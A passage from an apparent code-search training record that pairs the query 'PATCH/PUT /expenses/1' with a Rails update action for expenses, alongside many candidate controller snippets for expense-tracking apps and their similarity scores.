"def index\n @api_v1_expenses = Api::V1::Expense.all\n end",
"def create\n @solideo_depense = SolideoDepense.new(solideo_depense_params)\n\n respond_to do |format|\n if @solideo_depense.save\n format.html { redirect_to solideo_depenses_path, notice: 'Solideo depense was successfully created.' }\n format.json { render :show, status: :created, location: @solideo_depense }\n else\n format.html { render :new }\n format.json { render json: @solideo_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @financial_objects_expense = manager.create(financial_objects_expense_params, current_user)\n\n respond_to do |format|\n if @financial_objects_expense.valid?\n format.html { redirect_to @financial_objects_expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @financial_objects_expense }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @financial_objects_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = @current_user.expenses.create(params[:expense])\n params[:expense][:categories].each do |category_id|\n category_id = category_id.to_i\n if category_id > 0\n @expense.categories << Category.find(category_id)\n end\n end\n respond_to do |format|\n if @expense.save\n flash[:notice] = 'Expense was successfully created.'\n format.html { redirect_to(@expense) }\n format.xml { render :xml => @expense, :status => :created, :location => @expense }\n format.iphone { redirect_to(@expense) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n format.iphone { render :action => \"new\" }\n end\n end\n end",
"def create\n @person_expense_record = PersonExpenseRecord.new(person_expense_record_params)\n\n if @person_expense_record.save\n render json: @person_expense_record, status: :created, location: @person_expense_record\n else\n render json: @person_expense_record.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end",
"def expense_params\n params.require(:expense).permit(:amount, :to, :note, :category_id, :subcategory_id, :date, :tag_list)\n end",
"def create\n @expense = Expense.new(params[:expense])\n @expense.user_id = current_user.id\n\n respond_to do |format|\n if @expense.save\n flash[:notice] = 'Expense was successfully created.'\n format.html { redirect_to(expenses_path) }\n format.iphone { redirect_to(expenses_path) }\n format.xml { render :xml => @expense, :status => :created, :location => @expense }\n else\n format.html { render :action => \"new\" }\n format.iphone { render :action => \"new\", :layout => false }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @expense_type = ExpenseType.new(expense_type_params)\n\n respond_to do |format|\n if @expense_type.save\n format.html { redirect_to @expense_type, notice: 'Expense type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @expense_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:user_id, :amount, :created_at, :description, category_ids: [])\n end",
"def index\n @expenses = Expense.all\n respond_with @expenses\n end",
"def expense_params\n params.require(:expense).permit(:expenses_date, :item_wise, :expenses_type, :expenses_code, :amount, :gst_number, :vendor_invoice_number, :remarks, :expenses_number, :expense_category_id, :gst_treatment_id, :place_of_supply_id, :tax_id, :customer_company_id, :document_id, expense_items_attributes: [:id, :expense_type, :expense_code, :particular, :description, :amount, :tax_id, :expense_id, :expense_category_id ])\n end",
"def create\n @housing_expense = HousingExpense.new(params[:housing_expense])\n\n respond_to do |format|\n if @housing_expense.save\n flash[:notice] = 'HousingExpense was successfully created.'\n format.html { redirect_to housing_expense_url(@housing_expense) }\n format.xml { head :created, :location => housing_expense_url(@housing_expense) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @housing_expense.errors.to_xml }\n end\n end\n end",
"def create\n @expensesbasis = @post.expensesbases.new(expensesbasis_params)\n\n respond_to do |format|\n if @expensesbasis.save\n format.html { redirect_to [@post, @expensesbasis], notice: 'Expensesbase was successfully created.' }\n format.json { render :show, status: :created, location: @expensesbasis }\n else\n format.html { render :new }\n format.json { render json: @expensesbasis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @statement = Statement.find(params[:statement_id])\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def expense_params\n params.require(:expense).permit(:description, :category_id)\n end",
"def create\n @expense = get_class.new(params[get_type])\n @expense.creator_id = current_user.id\n\n respond_to do |format|\n if @expense.save and @expense.create_expense_posting(price: @expense.calc_expense_posting_price)\n format.html { redirect_to @expense, notice: 'Udalosť bola úspešne vytvorená.' }\n format.json { render json: @expense, status: :created, location: @expense }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_expense_type = Admin::ExpenseType.new(params[:admin_expense_type])\n\n respond_to do |format|\n if @admin_expense_type.save\n format.html { redirect_to admin_expense_types_url }\n format.json { render json: @admin_expense_type, status: :created, location: @admin_expense_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def create\n @defense = Defense.new(defense_params)\n\n respond_to do |format|\n if @defense.save\n format.html { redirect_to @defense, notice: 'Defense was successfully created.' }\n format.json { render :show, status: :created, location: @defense }\n else\n format.html { render :new }\n format.json { render json: @defense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n @expense.author_id = current_user.id\n\n respond_to do |format|\n if @expense.save\n # p params[:expense][:group_id]\n group_id = params[:expense][:group_id]\n GroupsExpense.create(group_id: group_id, expense_id: @expense.id) if group_id\n\n format.html { redirect_to expenses_path, notice: 'Expense added.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @expense = TblReceipt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def create\n @etat_depense = EtatDepense.new(etat_depense_params)\n @etat_depense.date = @etat_depense.date.change(month: 1, day: 1)\n respond_to do |format|\n if @etat_depense.save\n format.html { redirect_to etat_depenses_path, notice: 'Etat depense was successfully created.' }\n format.json { render :show, status: :created, location: @etat_depense }\n else\n format.html { render :new }\n format.json { render json: @etat_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @utility_expense = UtilityExpense.new(utility_expense_params)\n\n respond_to do |format|\n if @utility_expense.save\n format.html { redirect_to @utility_expense, notice: 'Utility expense was successfully created.' }\n format.json { render :show, status: :created, location: @utility_expense }\n else\n format.html { render :new }\n format.json { render json: @utility_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:expense_category_id, :amount, :product_id, :driver_id, :truck_id, :turn_boy_id, :user_id, :description, :lpo, :date, :trip_id, :quantity, :unit_price, :currency)\n end",
"def set_expense\n puts params.inspect\n @expense = Expense.find(params[:id])\n end",
"def new\n @expense = get_class.new\n @expense.total_price = 0\n @expense.team_fee = 0\n @expense.player_fee = 0\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def set_post_expense\n @post_expense = PostExpense.find(params[:id])\n end",
"def add_expense\n res = RResponse.new\n begin\n cost = OrderEntityCost.create(params[\"cost\"])\n res.data = cost.to_h\n res.success = true\n res.msg = 'Added new order cost'\n rescue StandardError => e\n res.msg = 'Error: ' + e\n end\n respond(res)\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def expense_params\n params.require(:expense).permit(\n :direction,\n :title,\n :amount,\n :company,\n :facility,\n :expense_category_id,\n :expense_by_id,\n :expense_to_id,\n :expense_date,\n :created_by_id,\n :updated_by_id\n )\n end",
"def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end",
"def create\n @expediente = Expediente.new(params[:expediente])\n \n respond_to do |format|\n if @expediente.save\n format.html { redirect_to @expediente, notice: 'Expediente was successfully created.' }\n format.json { render json: @expediente, status: :created, location: @expediente }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expediente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:expenseDate, :Description, :category_id, :user_id, :splitWith => {})\n end",
"def expense_params\n params.require(:expense).permit(:item1, :item2, :item3, :item4, :item5, :item6, :item7, :item8, :item9, :item10, :cost1, :cost2, :cost3, :cost4, :cost5, :cost6, :cost7, :cost8, :cost9, :cost10, :year, :yearend, :yeartotal, :buildinginfo)\n end",
"def create\n @expense = @bucket.expenses.new(params[:expense])\n\n respond_to do |format|\n if @expense.save\n flash[:notice] = 'Expense was successfully created.'\n format.html { redirect_to(@expense) }\n format.xml { render :xml => @expense, :status => :created, :location => @expense }\n format.js\n format.iphone { redirect_to(@bucket) }\n else\n @expense.save!\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n format.js\n format.iphone { render :action => \"new\", :layout => false }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:account_id, :amount, :group, :vendor, :description, :date)\n end",
"def create\n @exp = Exp.new(params[:exp])\n\n respond_to do |format|\n if @exp.save\n format.html { redirect_to @exp, notice: 'Article was successfully posted.' }\n format.json { render json: @exp, status: :created, location: @exp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense_state = ExpenseState.new(params[:expense_state])\n\n respond_to do |format|\n if @expense_state.save\n format.html { redirect_to @expense_state, notice: 'Expense state was successfully created.' }\n format.json { render json: @expense_state, status: :created, location: @expense_state }\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end",
"def set_expense\n @expense = Expense.find(params[:id])\n end"
] |
[
"0.7261324",
"0.7084191",
"0.70350605",
"0.6900912",
"0.6822504",
"0.67079735",
"0.65698487",
"0.65261096",
"0.6502184",
"0.6492159",
"0.6477112",
"0.6404915",
"0.640302",
"0.6383205",
"0.63663673",
"0.63563615",
"0.6343615",
"0.63217306",
"0.63024414",
"0.6295727",
"0.62906706",
"0.62789816",
"0.6267177",
"0.62619305",
"0.6249698",
"0.6240531",
"0.62275714",
"0.62090164",
"0.61990064",
"0.6187939",
"0.6183072",
"0.6170462",
"0.61464906",
"0.6145052",
"0.6142334",
"0.6122933",
"0.6120974",
"0.611539",
"0.610788",
"0.6085071",
"0.60820633",
"0.60669947",
"0.6055604",
"0.6041165",
"0.6039175",
"0.6036021",
"0.6034247",
"0.60317767",
"0.6025855",
"0.6018138",
"0.60138625",
"0.6008367",
"0.6002267",
"0.5992677",
"0.59864026",
"0.5986232",
"0.59801674",
"0.59682184",
"0.5965156",
"0.5960913",
"0.5953584",
"0.5928245",
"0.59230024",
"0.5911775",
"0.5906716",
"0.5905662",
"0.58820325",
"0.5876774",
"0.5876432",
"0.5871442",
"0.58673143",
"0.585821",
"0.5856838",
"0.5856562",
"0.58530986",
"0.58465344",
"0.58449435",
"0.5833431",
"0.5818887",
"0.5800455",
"0.5783051",
"0.5777199",
"0.5775929",
"0.57730985",
"0.5760224",
"0.575774",
"0.575774",
"0.575774",
"0.5757692",
"0.5751962",
"0.57425934",
"0.5738722",
"0.5736297",
"0.573219",
"0.57258475",
"0.5707661",
"0.57041883",
"0.5693476",
"0.5693476",
"0.5693476"
] |
0.6843917
|
4
|
PATCH/PUT /expenses/1 PATCH/PUT /expenses/1.json
|
def update
respond_to do |format|
if @expense.update(expense_params)
format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }
format.json { render :show, status: :ok, location: @expense }
else
format.html { render :edit }
format.json { render json: @expense.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end",
"def update\n @expense = Expense.find params.fetch(:id)\n\n if @expense.update(expense_params)\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_expense.update(api_v1_expense_params)\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to expenses_url, notice: 'Expense was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n #format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :ok }\n else\n #format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to expenses_path, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to '/expenses', notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.json { head :ok }\n format.js\n else\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to edit_expense_path(@expense), notice: 'Expense was successfully updated.' }\n format.json { render :edit, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to(@expense, :notice => 'Expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to(@expense, :notice => 'Expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expenses_file.update(expenses_file_params)\n format.html { redirect_to @expenses_file, notice: 'Expenses file was successfully updated.' }\n format.json { render :show, status: :ok, location: @expenses_file }\n else\n format.html { render :edit }\n format.json { render json: @expenses_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n @expense.reset\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n\n flash[:notice] = 'Expense was successfully updated.'\n format.html { redirect_to expense_url(@expense) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @offense.update(offense_params)\n format.html { redirect_to @offense, notice: 'Offense was successfully updated.' }\n format.json { render :show, status: :ok, location: @offense }\n else\n format.html { render :edit }\n format.json { render json: @offense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end",
"def update\n authorize @expense\n @expense.updated_by = current_user\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_back_or_default expenses_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to :back, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { redirect :back}\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @petty_cash_expense.update(petty_cash_expense_params)\n format.json { render :show, status: :ok, location: @petty_cash_expense }\n else\n format.json { render json: @petty_cash_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n flash[:notice] = 'Expense was successfully updated.'\n format.html { redirect_to(expenses_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @expense_report\n\n\n @expense_report.actual_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @expense_report.trip.destination\n req.expense_type = 'actual'\n end\n end\n\n\n respond_to do |format|\n if @expense_report.update(expense_report_params)\n format.html { redirect_to @expense_report, notice: 'Expense report was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_report }\n else\n format.html { render :edit }\n format.json { render json: @expense_report.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rec_expense.update(rec_expense_params)\n format.html { redirect_to @rec_expense, notice: 'Rec expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @rec_expense }\n else\n format.html { render :edit }\n format.json { render json: @rec_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person_expense_record = PersonExpenseRecord.find(params[:id])\n\n if @person_expense_record.update(person_expense_record_params)\n head :no_content\n else\n render json: @person_expense_record.errors, status: :unprocessable_entity\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to [@expense.statement.account, @expense.statement], notice: 'Statement expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense_owner.update(expense_owner_params)\n format.html { redirect_to @expense_owner, notice: 'Expense owner was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_owner }\n else\n format.html { render :edit }\n format.json { render json: @expense_owner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @operating_expense = OperatingExpense.find(params[:id])\n\n respond_to do |format|\n if @operating_expense.update_attributes(params[:operating_expense])\n format.html { redirect_to(@operating_expense, :notice => 'Operating expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operating_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n\n respond_to do |format|\n if @admin_expense_type.update_attributes(params[:admin_expense_type])\n format.html { redirect_to admin_expense_types_url }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @housing_expense = HousingExpense.find(params[:id])\n\n respond_to do |format|\n if @housing_expense.update_attributes(params[:housing_expense])\n flash[:notice] = 'HousingExpense was successfully updated.'\n format.html { redirect_to housing_expense_url(@housing_expense) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @housing_expense.errors.to_xml }\n end\n end\n end",
"def update\n \n @expense = Expense.find(params[:id])\n \n if params[:expense][:item_id].present?\n @expense.categorie_id = Item.find(params[:expense][:item_id]).categorie_id\n end\n if params[:activite_id].present?\n @expense.activite_id = params[:activite_id]\n end\n \n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to(@expense, :notice => 'Expense was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => { :success => true, :message => \"Updated Expense #{@expense.id}\", :data => @expense.attributes.merge(:total_ht => @expense.total, :total_ttc => @expense.total_ttc, :activite_name => @expense.activite.try(:description))}} \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @exp = Exp.find(params[:id])\n\n respond_to do |format|\n if @exp.update_attributes(params[:exp])\n format.html { redirect_to @exp, notice: 'Successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense_type.update(expense_type_params)\n format.html { redirect_to @expense_type, notice: 'Expense type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shared_expense.update(shared_expense_params)\n format.html { redirect_to @shared_expense, notice: 'Shared expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @shared_expense }\n else\n format.html { render :edit }\n format.json { render json: @shared_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_api_v1_expense\n @api_v1_expense = Api::V1::Expense.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @record_expense.update(record_expense_params)\n format.html { redirect_to @record_expense, notice: 'Record expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @record_expense }\n else\n format.html { render :edit }\n format.json { render json: @record_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense_state = ExpenseState.find(params[:id])\n\n respond_to do |format|\n if @expense_state.update_attributes(params[:expense_state])\n format.html { redirect_to @expense_state, notice: 'Expense state was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense_state.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @solideo_depense.update(solideo_depense_params)\n format.html { redirect_to solideo_depenses_path, notice: 'Solideo depense was successfully updated.' }\n format.json { render :show, status: :ok, location: @solideo_depense }\n else\n format.html { render :edit }\n format.json { render json: @solideo_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n if @fixed_expense.update_attributes(params[:fixed_expense])\n flash[:notice] = 'FixedExpense was successfully updated.'\n format.html { redirect_to(fixed_expenses_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fixed_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @depense.update(depense_params)\n format.html { redirect_to @depense, notice: 'Depense was successfully updated.' }\n format.json { render :show, status: :ok, location: @depense }\n else\n format.html { render :edit }\n format.json { render json: @depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @name_expense.update(name_expense_params)\n format.html { redirect_to @name_expense, notice: 'Name expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @name_expense }\n else\n format.html { render :edit }\n format.json { render json: @name_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dog_expense.update(dog_expense_params)\n format.html { redirect_to @dog_expense, notice: 'Dog expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dog_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bid_expense.update(bid_expense_params)\n format.html { redirect_to bid_expenses_path, notice: 'Bid expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @bid_expense }\n else\n format.html { render :edit }\n format.json { render json: @bid_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @exponat.update(exponat_params)\n format.html { redirect_to @exponat, notice: 'Exponat was successfully updated.' }\n format.json { render :show, status: :ok, location: @exponat }\n else\n format.html { render :edit }\n format.json { render json: @exponat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n @form_id = @expense.id\n \n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to(@expense) }\n format.xml { head :ok }\n format.js { render :action => \"update\" }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n format.js { \n render :partial => 'common/form_error.rjs', :locals => { \n :object => @expense, :form_id => @form_id\n } \n }\n end\n end\n end",
"def update\n respond_to do |format|\n if @etat_depense.update(etat_depense_params)\n format.html { redirect_to etat_depenses_path, notice: 'Etat depense was successfully updated.' }\n format.json { render :show, status: :ok, location: @etat_depense }\n else\n format.html { render :edit }\n format.json { render json: @etat_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @income = Income.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(income_params)\n format.html { redirect_to @income, notice: 'Income was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @income = current_company.incomes.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(params[:income])\n format.html { redirect_to incomes_path, notice: 'Income was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end",
"def update\n @expediente = Expediente.find(params[:id])\n\n respond_to do |format|\n if @expediente.update_attributes(params[:expediente])\n format.html { redirect_to @expediente, notice: 'Expediente was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expediente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expenditure = Expenditure.find(params[:id])\n\n respond_to do |format|\n if @expenditure.update_attributes(params[:expenditure])\n format.html { redirect_to @expenditure, notice: 'Expenditure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n contract = Contract.find_by_id(params[:id])\n (head :unauthorized unless contract) and return\n \n # try to update the attributes\n if contract.update_attributes(edit_contract_params)\n render json: contract\n else\n render json: { errors: contract.error.full_messages}\n end\n end",
"def update\n updated_succeeds, @financial_objects_expense = manager.update(params[:id], financial_objects_expense_params, current_user)\n\n respond_to do |format|\n if updated_succeeds\n format.html { redirect_to @financial_objects_expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @financial_objects_expense }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @financial_objects_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expensesbasis.update(expensesbasis_params)\n format.html { redirect_to [@post, @expensesbasis], notice: 'Expensesbase was successfully updated.' }\n format.json { render :show, status: :ok, location: @expensesbasis }\n else\n format.html { render :edit }\n format.json { render json: @expensesbasis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update_attributes(params[get_type])\n update_paps\n format.html { redirect_to @expense, notice: 'Udalosť bola úspešne zmenená.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food_expenditure.update(food_expenditure_params)\n @food_expenditure.update_attributes(:edit_able=>false)\n format.html { redirect_to @food_expenditure, notice: 'FoodExpenditure was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_expenditure }\n else\n format.html { render :edit }\n format.json { render json: @food_expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @trip\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
